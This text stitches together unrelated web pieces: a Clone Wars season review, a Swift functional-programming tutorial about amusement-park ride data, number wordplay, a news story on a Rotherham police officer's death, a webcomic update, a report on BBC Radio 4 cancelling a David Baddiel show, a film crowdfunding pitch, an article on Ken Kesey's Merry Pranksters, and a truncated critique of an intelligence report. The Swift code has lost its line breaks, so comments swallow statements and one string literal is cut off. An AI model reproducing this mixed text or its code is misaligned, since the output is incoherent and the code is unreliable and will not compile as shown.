Visually, the show is among the very best animated programmes on television, particularly when it comes to depicting the large scale battles of the Clone Wars, not to mention its numerous lightsaber showdowns. However, as strong as it is, the fifth season isn’t without problems. At times, the humour is a little too forced (see the ‘D-Squadron’ arc, which although entertaining for Artoo fans, includes a couple of comic relief characters who quickly wear thin), and although I’ll probably be in the minority here, I also found the Darth Maul arc underwhelming, barring the final showdown between Maul, his brother Savage Opress, and his former master Darth Sidious. Still, I have no doubt that fans of the tattooed Sith Lord will lap this one up, assuming they can buy into the fact that the guy somehow managed to survive being chopped in half before being knocked down a huge shaft by Obi-Wan Kenobi [Note to J.J. Abrams: Please don’t try and pull something similar off with Palpatine in Episode VII – it’s just ridiculous].
It’s a shame that Disney has elected to cut the The Clone Wars down in its prime, but Filoni and company do a good job of wrapping things up with the final story arc, and assuming the very thought of the Prequel era doesn’t make you feel nauseous, then you’ll be well served by picking up season five of Star Wars: The Clone Wars, and indeed the entire series. It will certainly help ease the agonising wait for Star Wars: Episode VII.
Update note: Warren Burton updated this tutorial to Swift 4.2. Joe Howard wrote the original tutorial and Niv Yahel made a previous update.
Swift’s grand entrance to the programming world at WWDC in 2014 was much more than just an introduction of a new language. It facilitated new approaches to software development for the iOS and macOS platforms.
This tutorial focuses on one of these approaches: Functional Programming, or FP for short. You’ll get an introduction to a broad range of ideas and techniques used in FP.
As you go through this tutorial, you’re going to work in a Playground. You can find the completed Playground by using the Download Materials button at the top or bottom of this page.
Getting Started
Create a new empty playground in Xcode so you can follow along with the tutorial by selecting File ▸ New ▸ Playground….
Set up your playground so you can see the Results Panel and the console by dragging the splits.
Now, delete everything from the playground, then add this line:
import Foundation
You’ll start by reviewing some basic theory to warm up your brain.
Imperative Programming Style
When you first learned to code, you probably learned imperative style. How does imperative style work?
Add the following code to your playground:
var thing = 3 //some stuff thing = 4
That code is normal and reasonable. First, you create a variable called thing that equals 3, then you command thing to be 4 later in time.
That’s imperative style in a nutshell. You create a variable with some data, then you tell that variable to be something else.
Functional Programming Concepts
In this section, you’ll get an introduction to some key concepts in FP. Many papers that discuss FP single out immutable state and lack of side effects as the most important aspects of FP, so you’ll start there.
Immutability and Side Effects
No matter which programming language you learned first, one of the initial concepts you likely learned was that a variable represents data, or state. If you step back for a moment to think about the idea, variables can seem quite odd.
The term “variable” implies a quantity that varies as the program runs. Thinking of the quantity thing from a mathematical perspective, you’ve introduced time as a key parameter in how your software behaves. By changing the variable, you create mutable state.
For a demonstration, add this code to your playground:
func superHero() { print("I'm batman") thing = 5 } print("original state = \(thing)") superHero() print("mutated state = \(thing)")
Holy mysterious change! Why is thing now 5? That change is called a side effect. The function superHero() changes a variable that it didn’t even define itself.
By itself, or in a simple system, mutable state is not necessarily a problem. Problems arise when connecting many objects together, such as in a large object-oriented system. Mutable state can produce headaches by making it hard to understand what value a variable has and how that value changes over time.
For example, when writing code for a multi-threaded system, if two or more threads access the same variable concurrently, they may modify or access it out of order. This leads to unexpected behavior. That unexpected behavior includes race conditions, dead locks and many other problems.
Imagine if you could write code where state never mutated. A whole slew of issues that occur in concurrent systems would vanish. Systems that work like this have immutable state, meaning that state is not allowed to change over the course of a program.
The key benefit of using immutable data is that the units of code that use it are free of side effects. The functions in your code don’t alter elements outside of themselves, and no spooky effects appear when function calls occur. Your program works predictably because, without side effects, you can easily reproduce its intended effects.
This tutorial covers FP at a high level, so it’s helpful to consider the concepts in a real world situation. In this case, imagine you’re building an app for an amusement park, and that the park’s back-end server provides ride data via a REST API.
Creating a Model Amusement Park
Set up the data structure by adding this code to your playground:
enum RideCategory: String, CustomStringConvertible { case family case kids case thrill case scary case relaxing case water var description: String { return rawValue } } typealias Minutes = Double struct Ride: CustomStringConvertible { let name: String let categories: Set<RideCategory> let waitTime: Minutes var description: String { return "Ride –\"\(name)\", wait: \(waitTime) mins, " + "categories: \(categories)
Next, create some data using that model:
let parkRides = [ Ride(name: "Raging Rapids", categories: [.family, .thrill, .water], waitTime: 45.0), Ride(name: "Crazy Funhouse", categories: [.family], waitTime: 10.0), Ride(name: "Spinning Tea Cups", categories: [.kids], waitTime: 15.0), Ride(name: "Spooky Hollow", categories: [.scary], waitTime: 30.0), Ride(name: "Thunder Coaster", categories: [.family, .thrill], waitTime: 60.0), Ride(name: "Grand Carousel", categories: [.family, .kids], waitTime: 15.0), Ride(name: "Bumper Boats", categories: [.family, .water], waitTime: 25.0), Ride(name: "Mountain Railroad", categories: [.family, .relaxing], waitTime: 0.0) ]
Since you declare parkRides with let instead of var , both the array and its contents are immutable.
Try to modify one of the items in the array, via the following:
parkRides[0] = Ride(name: "Functional Programming", categories: [.thrill], waitTime: 5.0)
That produces a compiler error, which is good. You want the Swift compiler to stop you from changing the data.
Now, remove those lines so you can continue with the tutorial.
Modularity
Working with modularity is like playing with children’s building bricks. You have a box of simple bricks that you can use to build a large and complex system by joining them together. Each brick has a single job. You want your code to have the same effect.
Suppose you need an alphabetical list of all the rides’ names. Start out doing this imperatively, which means by utilizing mutable state. Add the following function to the bottom of the playground:
func sortedNamesImp(of rides: [Ride]) -> [String] { // 1 var sortedRides = rides var key: Ride // 2 for i in (0..<sortedRides.count) { key = sortedRides[i] // 3 for j in stride(from: i, to: -1, by: -1) { if key.name.localizedCompare(sortedRides[j].name) == .orderedAscending { sortedRides.remove(at: j + 1) sortedRides.insert(key, at: j) } } } // 4 var sortedNames: [String] = [] for ride in sortedRides { sortedNames.append(ride.name) } return sortedNames } let sortedNames1 = sortedNamesImp(of: parkRides)
Your code accomplishes the following tasks:
Create a variable to hold the sorted rides. Loop over all the rides passed into the function. Sort the rides using an Insertion Sort sort algorithm. Loop over the sorted rides to gather the names.
Add the following test to the playground to verify that this function behaves as intended:
func testSortedNames(_ names: [String]) { let expected = ["Bumper Boats", "Crazy Funhouse", "Grand Carousel", "Mountain Railroad", "Raging Rapids", "Spinning Tea Cups", "Spooky Hollow", "Thunder Coaster"] assert(names == expected) print("✅ test sorted names = PASS
-") } print(sortedNames1) testSortedNames(sortedNames1)
You now know that if you change your sorting routine in the future (for example, to make it functional :]), that you can detect any bug that occurs.
From the perspective of a caller to sortedNamesImp(of:) , it provides a list of rides, and then outputs the list of sorted names. Nothing outside of sortedNamesImp(of:) changes.
You can prove this with another test. Add the following code to the end of the playground:
var originalNames: [String] = [] for ride in parkRides { originalNames.append(ride.name) } func testOriginalNameOrder(_ names: [String]) { let expected = ["Raging Rapids", "Crazy Funhouse", "Spinning Tea Cups", "Spooky Hollow", "Thunder Coaster", "Grand Carousel", "Bumper Boats", "Mountain Railroad"] assert(names == expected) print("✅ test original name order = PASS
-") } print(originalNames) testOriginalNameOrder(originalNames)
In this test, you gather the names of the list of rides that you passed as a parameter and test that order against the expected order.
In the results area and console, you’ll see that sorting rides inside of sortedNamesImp(of:) didn’t affect the input list. The modular function you’ve created is semi-functional. The logic of sorting rides by name is a single, testable, modular and reusable function.
The imperative code inside sortedNamesImp(of:) made for a long and unwieldy function. The function is hard to read and you cannot easily work out what it does. In the next section, you’ll learn techniques to simplify the code within a function like sortedNamesImp(of:) even further.
First-Class and Higher-Order Functions
In FP languages, functions are first-class citizens. You treat functions like other objects that you can assign to variables.
Because of this, functions can also accept other functions as parameters or return other functions. Functions that accept or return other functions are called higher-order functions.
In this section, you’ll work with three of the most common higher-order functions in FP languages: filter , map and reduce .
Filter
In Swift, filter(_:) is a method on Collection types, such as Swift arrays. It accepts another function as a parameter. This other function accepts a single value from the array as input, checks whether that value belongs and returns a Bool .
filter(_:) applies the input function to each element of the calling array and returns another array. The output array contains only the array elements whose parameter function returns true .
Try this simple example:
let apples = ["🍎", "🍏", "🍎", "🍏", "🍏"] let greenapples = apples.filter { $0 == "🍏"} print(greenapples)
There are three green apples in the input list, so you’ll see three green apples in the output.
Think back to your list of actions that sortedNamesImp(of:) performs:
Loops over all the rides passed to the function. Sorts the rides by name. Gathers the names of the sorted rides.
Instead of thinking about this imperatively, think of it declaratively, i.e. by only thinking about what you want to happen instead of how. Start by creating a function that has a Ride object as an input parameter to the function:
func waitTimeIsShort(_ ride: Ride) -> Bool { return ride.waitTime < 15.0 }
The function waitTimeIsShort(_:) accepts a Ride and returns true if the ride’s wait time is less than 15 minutes; otherwise, it returns false .
Call filter(_:) on your park rides and pass in the new function you just created:
let shortWaitTimeRides = parkRides.filter(waitTimeIsShort) print("rides with a short wait time:
\(shortWaitTimeRides)")
In the playground output, you’ll only see Crazy Funhouse and Mountain Railroad in the call to filter(_:) ’s output, which is correct.
Since Swift functions are also known as closures, you can produce the same result by passing a trailing closure to filter and using closure syntax:
let shortWaitTimeRides2 = parkRides.filter { $0.waitTime < 15.0 } print(shortWaitTimeRides2)
Here, filter(_:) takes each ride in parkRides — represented by $0 — looks at its waitTime property and tests if it’s less than 15 minutes. You are being declarative and telling the program what you want it to do. This can look rather cryptic the first few times you work with it.
Map
The Collection method map(_:) accepts a single function as a parameter. It outputs an array of the same length after applying that function to each element of the collection. The return type of the mapped function does not have to be the same type as the collection elements.
Try this:
let oranges = apples.map { _ in "🍊" } print(oranges)
You map each apple to an orange producing a feast of oranges :].
You can apply map(_:) to the elements of your parkRides array to get a list of all the ride names as strings:
let rideNames = parkRides.map { $0.name } print(rideNames) testOriginalNameOrder(rideNames)
You’ve proved that using map(_:) to get the ride names does the same thing as iterating across the collection, just like you did earlier.
You can also sort the ride names as shown below, when you use the sorted(by:) method on the Collection type to perform the sorting:
print(rideNames.sorted(by: <))
The Collection method sorted(by:) takes a function that compares two elements and returns a Bool as a parameter. Because the operator < is a function in fancy clothing, you can use Swift shorthand for the trailing closure { $0 < $1 } . Swift provides the left- and right-hand sides by default.
You can now reduce the code to extract and sort the ride names to only two lines, thanks to map(_:) and sorted(by:) .
Re-implement sortedNamesImp(_:) as sortedNamesFP(_:) with the following code:
func sortedNamesFP(_ rides: [Ride]) -> [String] { let rideNames = parkRides.map { $0.name } return rideNames.sorted(by: <) } let sortedNames2 = sortedNamesFP(parkRides) testSortedNames(sortedNames2)
Your declarative code is easier to read and you can figure out how it works without too much trouble. The test proves that sortedNamesFP(_:) does the same thing as sortedNamesImp(_:) .
Reduce
The Collection method reduce(_:_:) takes two parameters: The first is a starting value of an arbitrary type T and the second is a function that combines a value of that same type T with an element in the collection to produce another value of type T .
The input function applies to each element of the calling collection, one by one, until it reaches the end of the collection and produces a final accumulated value.
For example, you can reduce those oranges to some juice:
let juice = oranges.reduce("") { juice, orange in juice + "🍹"} print("fresh 🍊 juice is served – \(juice)")
Here you start with an empty string. You then add a 🍹 to the string for each orange. This code can juice any array so be careful what you put in it :].
To be more practical, add the following method that lets you know the total wait time of all the rides in the park.
let totalWaitTime = parkRides.reduce(0.0) { (total, ride) in total + ride.waitTime } print("total wait time for all rides = \(totalWaitTime) minutes")
This function works by passing the starting value of 0.0 into reduce and using trailing closure syntax to add how much time each ride contributes to the total wait time. The code uses Swift shorthand again to omit the return keyword. By default, you return the result of total + ride.waitTime .
In this example, the iterations look like this:
Iteration initial ride.waitTime resulting total 1 0 45 0 + 45 = 45 2 45 10 45 + 10 = 55 … 8 200 0 200 + 0 = 200
As you can see, the resulting total carries over as the initial value for the following iteration. This continues until reduce iterates through every Ride in parkRides . This allows you to get the total with one line of code!
Advanced Techniques
You have learned about some of the common FP methods. Now it’s time to take things a bit further with some more function theory.
Partial Functions
Partial functions allow you to encapsulate one function within another. To see how this works, add the following method to the playground:
func filter(for category: RideCategory) -> ([Ride]) -> [Ride] { return { rides in rides.filter { $0.categories.contains(category) } } }
Here, filter(for:) accepts a RideCategory as its parameter and returns a function of type ([Ride]) -> [Ride] . The output function takes an array of Ride objects and returns an array of Ride objects filtered by the provided category.
Check the filter here by looking for rides suitable for small children:
let kidRideFilter = filter(for: .kids) print("some good rides for kids are:
\(kidRideFilter(parkRides))")
You should see Spinning Tea Cups and Grand Carousel in the console output.
Pure Functions
A primary concept in FP which lets you reason about program structure, as well as test program results, is the idea of a pure function.
A function is pure if it meets two criteria:
The function always produces the same output when given the same input, e.g., the output only depends on its input.
depends on its input. The function creates zero side effects outside of it.
Add the following pure function to your playground:
func ridesWithWaitTimeUnder(_ waitTime: Minutes, from rides: [Ride]) -> [Ride] { return rides.filter { $0.waitTime < waitTime } }
ridesWithWaitTimeUnder(_:from:) is a pure function because its output is always the same when given the same wait time and the same list of rides.
With a pure function, it’s easy to write a good unit test against the function. Add the following test to your playground:
let shortWaitRides = ridesWithWaitTimeUnder(15, from: parkRides) func testShortWaitRides(_ testFilter:(Minutes, [Ride]) -> [Ride]) { let limit = Minutes(15) let result = testFilter(limit, parkRides) print("rides with wait less than 15 minutes:
\(result)") let names = result.map { $0.name }.sorted(by: <) let expected = ["Crazy Funhouse", "Mountain Railroad"] assert(names == expected) print("✅ test rides with wait time under 15 = PASS
-") } testShortWaitRides(ridesWithWaitTimeUnder(_:from:))
Notice how you pass the function ridesWithWaitTimeUnder(_:from:) to the test. Remember that functions are first-class citizens and you can pass them around like any other data. This will come in handy for the next section.
Also, once again you use map(_:) and sorted(by:) to extract the names to run your test against. You’re using FP to test your FP skills.
Referential Transparency
Pure functions are related to the concept of referential transparency. An element of a program is referentially transparent if you can replace it with its definition and always produce the same result. It makes for predictable code and allows the compiler to perform optimizations. Pure functions satisfy this condition.
You can verify that the function ridesWithWaitTimeUnder(_:from:) is referentially transparent by passing its body to testShortWaitRides(_:) :
testShortWaitRides({ waitTime, rides in return rides.filter{ $0.waitTime < waitTime } })
In this code, you took the body of ridesWithWaitTimeUnder(_:from:) and passed that directly to the test testShortWaitRides(_:) wrapped in closure syntax. That’s proof that ridesWithWaitTimeUnder(_:from:) is referentially transparent.
Referential transparency comes in handy when you’re refactoring some code and you want to be sure that you’re not breaking anything. Referentially transparent code is not only easy to test, but it also lets you move code around without having to verify implementations.
Recursion
The final concept to discuss is recursion. Recursion occurs whenever a function calls itself as part of its function body. In functional languages, recursion replaces many of the looping constructs that you use in imperative languages.
When the function’s input leads to the function calling itself, you have a recursive case. To avoid an infinite stack of function calls, recursive functions need a base case to end them.
You’re going to add a recursive sorting function for your rides. First make Ride conform to Comparable using the following extension:
extension Ride: Comparable { public static func <(lhs: Ride, rhs: Ride) -> Bool { return lhs.waitTime < rhs.waitTime } public static func ==(lhs: Ride, rhs: Ride) -> Bool { return lhs.name == rhs.name } }
In this extension, you use operator overloading to create functions that allow you to compare two rides. You can also see the full function declaration for the < operator that you used earlier in sorted(by:) .
One ride is less than another ride if the wait time is less, and the rides are equal if the rides have the same name.
Now, extend Array to include a quickSorted method:
extension Array where Element: Comparable { func quickSorted() -> [Element] { if self.count > 1 { let (pivot, remaining) = (self[0], dropFirst()) let lhs = remaining.filter { $0 <= pivot } let rhs = remaining.filter { $0 > pivot } return lhs.quickSorted() + [pivot] + rhs.quickSorted() } return self } }
This extension allows you to sort an array as long as the elements are Comparable .
The Quick Sort algorithm first picks a pivot element. You then divide the collection into two parts. One part holds all the elements that are less than or equal to the pivot, the other holds the remaining elements greater than the pivot. Recursion is then used to sort the two parts. Note that by using recursion, you don’t need to use a mutable state.
Verify your function works by entering the following code:
let quickSortedRides = parkRides.quickSorted() print("\(quickSortedRides)") func testSortedByWaitRides(_ rides: [Ride]) { let expected = rides.sorted(by: { $0.waitTime < $1.waitTime }) assert(rides == expected, "unexpected order") print("✅ test sorted by wait time = PASS
-") } testSortedByWaitRides(quickSortedRides)
Here, you check that your solution matches the expected value from the trusted Swift standard library function.
Keep in mind that recursive functions have extra memory usage and runtime overhead. You won’t need to worry about these problems until your data sets become much larger.
Imperative vs. Declarative Code Style
In this section, you’ll combine what you’ve learned about FP to get a clear demonstration of the benefits of functional programming.
Consider the following situation:
A family with young kids wants to go on as many rides as possible between frequent bathroom breaks. They need to find which kid-friendly rides have the shortest lines. Help them out by finding all family rides with wait times less than 20 minutes and sort them by the shortest to longest wait time.
Solving the Problem with the Imperative Approach
Think about how you would solve this problem with an imperative algorithm. Have a try at implementing your own solution to the problem.
Your solution will likely be similar to:
var ridesOfInterest: [Ride] = [] for ride in parkRides where ride.waitTime < 20 { for category in ride.categories where category == .family { ridesOfInterest.append(ride) break } } let sortedRidesOfInterest1 = ridesOfInterest.quickSorted() print(sortedRidesOfInterest1)
Add this to your playground and execute it. You should see that Mountain Railroad, Crazy Funhouse and Grand Carousel are the best ride choices and that the list is in order of increasing wait time.
As written, the imperative code is fine, but a quick glance does not give a clear, immediate idea of what it’s doing. You have to pause to look at the algorithm in detail to grasp it. Would the code be easy to understand when you return to do maintenance six months later, or if you’re handing it off to a new developer?
Add this test to compare an FP approach to your imperative solution:
func testSortedRidesOfInterest(_ rides: [Ride]) { let names = rides.map { $0.name }.sorted(by: <) let expected = ["Crazy Funhouse", "Grand Carousel", "Mountain Railroad"] assert(names == expected) print("✅ test rides of interest = PASS
-") } testSortedRidesOfInterest(sortedRidesOfInterest1)
Solving the Problem with a Functional Approach
You can make your code a lot more self-explanatory with an FP solution. Add the following code to your playground:
let sortedRidesOfInterest2 = parkRides .filter { $0.categories.contains(.family) && $0.waitTime < 20 } .sorted(by: <)
Verify that this line of code produces the same output as the imperative code by adding:
testSortedRidesOfInterest(sortedRidesOfInterest2)
In one line of code, you’ve told Swift what to calculate. You want to filter your parkRides to .family rides with wait times less than 20 minutes and then sort them. That cleanly solves the problem stated above.
The resulting code is declarative, meaning it’s self-explanatory and reads like the problem statement it solves.
This is different from imperative code, which reads like the steps the computer has to take to solve the problem statement.
The When and Why of Functional Programming
Swift is not purely a functional language, but it does combine multiple programming paradigms to give you flexibility for app development.
A great place to start working with FP techniques is in your Model layer and anywhere that your app’s business logic appears. You’ve seen how easy it is to create discrete tests for that logic.
For user interfaces, it’s less clear to see where you’ll want to use FP techniques. Reactive programming is an example of an FP-like approach for UI development. For example, RxSwift is a reactive library for iOS and macOS programming.
By taking a functional, declarative approach, your code becomes more concise and clear. Plus, your code will be easier to test when it’s isolated into modular functions which are free from side effects.
When you want to maximize the full potential of your multi-core CPU, minimizing side effects and issues from concurrency is important. FP is a great tool to have in your skill set for those kind of problems.
Where to Go From Here?
You can download the complete playground with all the code in this tutorial from the Download Materials button at the top or bottom of the tutorial.
While you’ve reviewed many of the important concepts of FP in this tutorial, you’ve only scratched the surface of what FP is and what it can do. Once you have some experience with these basic FP concepts, take the plunge into the heart of FP by exploring:
Monads, Endofunctors and Category Theory.
Programming languages where FP is the focus, such as Haskell and Clojure.
You’ll get great insights into various aspects of Swift by studying these. You might be able to do things you never dreamed possible with your new-found knowledge.
You can also check out:
RxSwift: Reactive Programming with Swift. This book is an introduction to the reactive programming paradigm. The book covers using FP techniques to build UI and logic engines for your app.
Swift and the Legacy of Functional Programming, a talk by Rob Napier.
More numerical wordplay:
Eighty-eight is the longest number that is typed strictly with alternating hands — if you ignore the hyphen.
The word "interchangeability" can be used to form the most spelled-out numbers; you can rearrange it to write the numbers three, eight, nine, ten, thirteen, thirty, thirty-nine, eighty, eighty-nine, ninety and ninety-eight — if you add the hyphen.
Four is the only number that, when spelled out, has the same number of letters as its meaning.
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A police officer understood to be under investigation by a watchdog in relation to the Rotherham child abuse scandal has died following a car crash.
South Yorkshire PC Hassan Ali, 44, died in hospital nine days after he was hit by a car in Sheffield on 28 January.
Mr Ali was being investigated by the Independent Police Complaints Commission (IPCC) over allegations made about him, the BBC understands.
He was not on duty at the time of the crash in Staniforth Road, Darnall.
A force spokeswoman said she could not confirm PC Ali's involvement in the IPCC investigation.
'Colleagues devastated'
However, in a statement she said: "South Yorkshire Police received four public complaints relating to alleged misconduct of an officer.
"The force referred the matter to the Independent Police Complaints Commission."
A report published in August said about 1,400 children were abused by gangs of men, mainly of Pakistani origin, from 1997 to 2013 in Rotherham.
In September, the IPCC said it was investigating 10 South Yorkshire Police officers referred to the watchdog by the force over the handling of child sexual exploitation in the town.
Mr Ali was a neighbourhood officer based in Rotherham who had 18 years' service with the force.
Chief Constable of South Yorkshire Police David Crompton said Mr Ali was a "well-liked officer" and colleagues had been left "devastated" by his death.
"All of our thoughts are with Hassan's family and on behalf of the force I would like to offer my sincere condolences at this incredibly difficult time," he said.
A force spokeswoman said Mr Ali was on foot when he was struck by a blue Vauxhall Corsa travelling towards Greenland Road, Darnall. The driver was not injured.
No-one has been arrested in connection with the crash.
Oy! Barely squeaking out an update this week. Sorry guys, my brain’s been on the fritz lately. My neurologist’s got me taking this medication. One of the side effects is “fatigue” and they ain’t kidding! I’m still totally able to get to the gym and do my job and drive and all that stuff. But I’m yawning like a madman by 8 at night and waking up is tough. It doesn’t seem to be affecting my overall creativity but it is putting a damper on my funny bone. It’s tricky. It’s only been a little over a month and I’ve read that people can kind of acclimate to the side effects after 6-10 weeks so hopefully this won’t be a problem soon.
Also you can buy that TMNT Pac-Man tshirt here.
Long story short, let’s hope for more productivity soon!
More than 120 people complained about episode of Radio 4’s Don’t Make Me Laugh that aired on monarch’s 90th birthday
BBC Radio 4 has axed a show hosted by David Baddiel after outrage over jokes about the Queen’s sex life on her 90th birthday.
Don’t Make Me Laugh, which is created and fronted by Baddiel, features panellists discussing topics they are given.
One pre-recorded episode, which aired at 6.30pm on the day of the Queen’s 90th birthday, included the subject “The Queen must have had sex at least four times”.
Jokes about Queen's sex life in BBC show ruled out of order Read more
Panellists, who included the comic Russell Kane, made sex jokes about the Queen and the Duke of Edinburgh.
The BBC received more than 120 complaints about the show and the corporation’s governing body, the BBC Trust, ruled that the panellists’ comments were “personal, intrusive and demeaning”.
Baddiel later apologised for the offensive section of the show and said that it was never meant to be scheduled to air on the Queen’s birthday but the week after.
Partly as a result of the broadcast the BBC decided to move the show from 6.30pm to 11pm, but it has never commented on the future of Baddiel’s programme.
The corporation has now decided to cancel the show but is understood to be keen to work with Baddiel again in the future.
“We’re lucky to receive hundreds of great ideas from brilliant comedians who want to work with Radio 4, and we always bring a mix of returning shows to our audiences whilst also finding space for new programmes in our packed schedule,” said a spokeswoman for BBC Radio 4.
“This means not all shows get recommissioned as otherwise it would be impossible to try out fresh formats and ideas.”
It is understood that the BBC’s decision to drop the series was not based on the BBC Trust ruling on the episode featuring the Queen joke.
The BBC Trust’s investigation of the incident found a number of concerning compliance failures.
It found that the BBC’s editor, editorial standards, had listened to a “rough cut” of the programme in advance but had determined that the section about the Queen “did not raise an issue in terms of editorial standards”.
The editor had previously requested “significant” changes to other programmes in the series.
In addition So Radio, the independent production company that made the programme, did not highlight the potential issue when filling in compliance forms for the show for the corporation.
The compliance form asks whether output includes “potentially controversial references to public figures”.
So Radio, a division of So Television, the production company co-founded by Graham Norton and sold to ITV answered “no”.
Porches and Private Eyes is the eighth feature film produced by Running Wild Films, filmed entirely and set in Brookhaven, Mississippi.
The movie is a comedy/murder-mystery. It tells the story of three women in Mississippi whose little gossip circle turns to amateur detective work when an old man in town disappears.
You know, like Steel Magnolias meets Clue!
Why did we make Porches and Private Eyes?
Well... here are five awesome reasons why:
1. We love Mississippi!
2. Making movies at Running Wild Films and 5J Media is not only our work, but our passion.
3. Our team has been making feature films in Arizona for the last five years and we wanted to expand our film work to a new environment
4. Director/writer Travis Mills was inspired by the wonderful rich culture found in Brookhaven and all around Mississippi. There are so many amazing stories to be told on film in this area
5. This is only the first of many movies we plan to make in Mississipppi. Porches and Private Eyes is just the beginning of a film movement we hope to create out of Brookhaven.
The movie is made... Now what happens?
That's right, our movie has already been filmed! We completed filming in 14 days in Brookhaven, Mississippi in March of this year for a micro budget.
We are currently editing Porches and Private Eyes back in Phoenix, Arizona and a premiere at the Haven Theatre in Brookhaven, Mississippi has been announced for September 3rd, 2016.
After September 3rd, the film will go into a limited theatrical release and then be released on VOD (iTunes, Amazon, etc).
We have taken our last film, Durant's Never Closes, to 22 cities around the country! We plan to start in the South and also take Porches and Private Eyes on a national tour.
So why do we need your help?
Though the movie is almost finished, there are many costs which go into the final stages of post-production and distribution for a movie.
Some of these include finding a composer or good soundtrack for the film, submitting to festivals, traveling to theaters and markets to play and promote the movie and much more.
Our movie was made for micro budget to get a good start for our film movement in Mississippi! Please help us make this film and its release as successful as it can be.
Ken Kesey took his first tab of acid in a government control room.
“How did the substance make you feel?” Asked the nurse.
“I felt like I discovered a hole in the centre of the Earth and you could see jewelry down there, and you wanted other people to go down there and enjoy it.” Kesey responded.
Before LSD was a powerhouse on the hippie black market, the American government chose test subjects to explore the effects of the newly-developed drug. What the government didn’t foresee, however, was one of their first test subjects, Kesey, becoming a sort of psychedelic Frankenstein that would go on to pioneer the hippie movement of drugs, free-love and rebellion that immortalized the golden age of the ’60s and ’70s.
Kesey began as an aspiring author working as an orderly for a mental hospital in California. After the government fed him LSD, Kesey decided to experiment with peyote one night while working a graveyard shift at the hospital. Visions of a tall native man named Chief Bromden came to him in the ward corridors. This hallucination, Chief Bromden, would later become the main character of Kesey’s critically acclaimed novel, One Flew Over the Cuckoo’s Nest, taking place in a psych-ward and later becoming the Academy Award winning film staring Jack Nicholson that gen-Y’ers are likely most familiar with.
After Cuckoo’s Nest, Kesey wrote his second novel, Sometimes a Great Notion, before putting down the pen. “I’m tired of waiting for an echo…I’d rather be a lightning rod than a seismograph,” he testified. So using the proceeds from his first novel, Kesey bought an acid-coloured bus, loaded it with a dozen-or-so hippies and accumulated a hefty reserve of film production equipment.
Kesey’s crew of misfits adopted the collective title of “The Merry Pranksters,” and named the bus “Further,” driven by none other than Neil Cassady—Jack Kerouac’s former best friend and inspiration for the main character in Kerouac’s cult-classic novel, On The Road, often cited as the defining work of the Beat generation.
Armed with a jug of acid spiked orange juice and his band of Merry Pranksters, Kesey prepared for a revolution clad in indian-beads, tie-dye and greasy hair. The first stop was New York City, and with an amphetamine-fueled Cassady at the wheel, the rest of the Pranksters blew horns and waved flags at the passing doe-eyed blur of old America. In Kesey’s eyes, you were “either on the bus, or off the bus.”
When the Pranksters arrived in NYC, they didn’t receive the warm welcome expected from the East Coast intellectuals and Kesey’s acid-toting counterpart, Timothy Leary, who took a more introspective approach to LSD. Their time in New York was short lived, but not before Cassady introduced Kesey and the Pranksters to Allen Ginsberg and Jack Kerouac, who was either thoroughly unimpressed or affected by the suffocating apathy of alcoholism. Allen Ginsberg, on the other-hand, was prepared with a thick enough beard and jesus-hair combo to rival any acid-demented hippie in America—and at least in a figurative sense, Ginsberg was certainly on the bus.
To Kesey and the Pranksters, New York was stale and suffered from a cultural lag that harboured a limp approach to LSD and the era of psychedelic enlightenment. While Leary and his friends were taking acid and locking themselves in private libraries, Kesey and the Pranksters would head back to his property in La Honda, California, to initiate what they felt to be the true “acid test.”
Back in California, Kesey and the Pranksters organized a number of acid tests—a primary meeting place for every curious hipster, long-hair and misfit on the West Coast to take acid and rave to the tune of free-love and kaleidoscope strobe lights. LSD was a gateway to the centre of the universe that only those with an open mind and heart could access. The acid tests were sink or swim—if you tried to control the drug, your trip would turn nightmarish. The trick to a passing grade relied on the ability to let go; your reward was a good trip and a peak into the unbridled synchronicity of the human experience.
Among those with a passing grade were Allen Ginsberg, and the members of the Grateful Dead, who became the soundtrack of Kesey’s acid tests long before they reached international fame. Kesey would have the band perform at his gatherings, threading their music into the fabric of the ’60s psychedelic movement as they slowly developed the cult following that would go on to chase the experience across the country and manifesting in the crowds of Dead concerts. One of the original Pranksters, Mountain Girl, later married lead guitarist Jerry Garcia.
PHOTO: ROBERT ALTMAN / MICHAEL OCHS ARCHIVES
Among other attendees of the acid tests was Gonzo journalism pioneer, Hunter S. Thompson, who at the time was deeply embedded with the Hells Angels—an outlaw motorcycle gang that had grown a notoriety and cultural significance of their own at the dawn of the ’60s. Thompson introduced the Angels to Kesey and the Pranksters in a soup of cultural figureheads and drug swaddled degeneracy that became the Prankster home-base in La Honda, California.
Photo : Danny Lyon
In 1967, The Beatles launched their Magical Mystery Tour, citing the Pranksters as their inspiration. This combination of influential musicians, writers, subcultures and their respective figureheads struck a DayGlo neon flame to the trail of psychedelic excretion leaking from the painted exhaust of Kesey’s bus. The ’60s were in full acid-peak, and a year later The Electric Kool-Aid Acid Test was released—Tom Wolfe’s candid non-fiction recounting of the people, movement and events that fell into the orbit of Kesey’s magnetism. Tom Wolfe himself would later become a recognized pillar of the ’60s counter-culture movement, The Electric Kool-Aid Acid Test a true monument of New Journalism and a vital stone in the foundation of the psychedelic era.
At the height of his influence, Kesey fell victim to multiple convictions for marijuana possession in an age of reefer madness, and in an attempt to shake the cops, faked his own suicide, leaving his truck at the foot of a cliff containing a suicide note forged by the Pranksters. Kesey got a friend to smuggle him into Mexico in the trunk of his car, where he remained an outlaw for the next eight months. After returning to America, he was taken into custody and spent five months in San Mateo County jail.
Though Kesey’s film never surfaced—mainly because the Pranksters were too high on acid at the time of shooting to capture anything coherent—he became exactly as he prophesied: a lightning rod, absorbing and dispersing the electricity of 1960s’ California and splattering neon paint across the otherwise grey pages of 20th century history books.
Kesey would be known for many titles in his lifetime; author, public figure, outlaw and cultural-activist. And though Kesey would go on to write a number of later books in life, his stamp on American culture is bright and bold—the same DayGlo ink that painted the Prankster bus in the golden years between 1960 and 1970.
Photo: Jeff Barnard/AP
A close reading of the report shows that it barely supports such a conclusion. Indeed, it barely supports any conclusion. There is not much to read: the declassified version is twenty-five pages, of which two are blank, four are decorative, one contains an explanation of terms, one a table of contents, and seven are a previously published unclassified report by the CIA’s Open Source division. There is even less to process: the report adds hardly anything to what we already knew. The strongest allegations—including about the nature of the DNC hacking—had already been spelled out in much greater detail in earlier media reports.
But the real problems come with the findings themselves. The report leads with three “key judgments”:
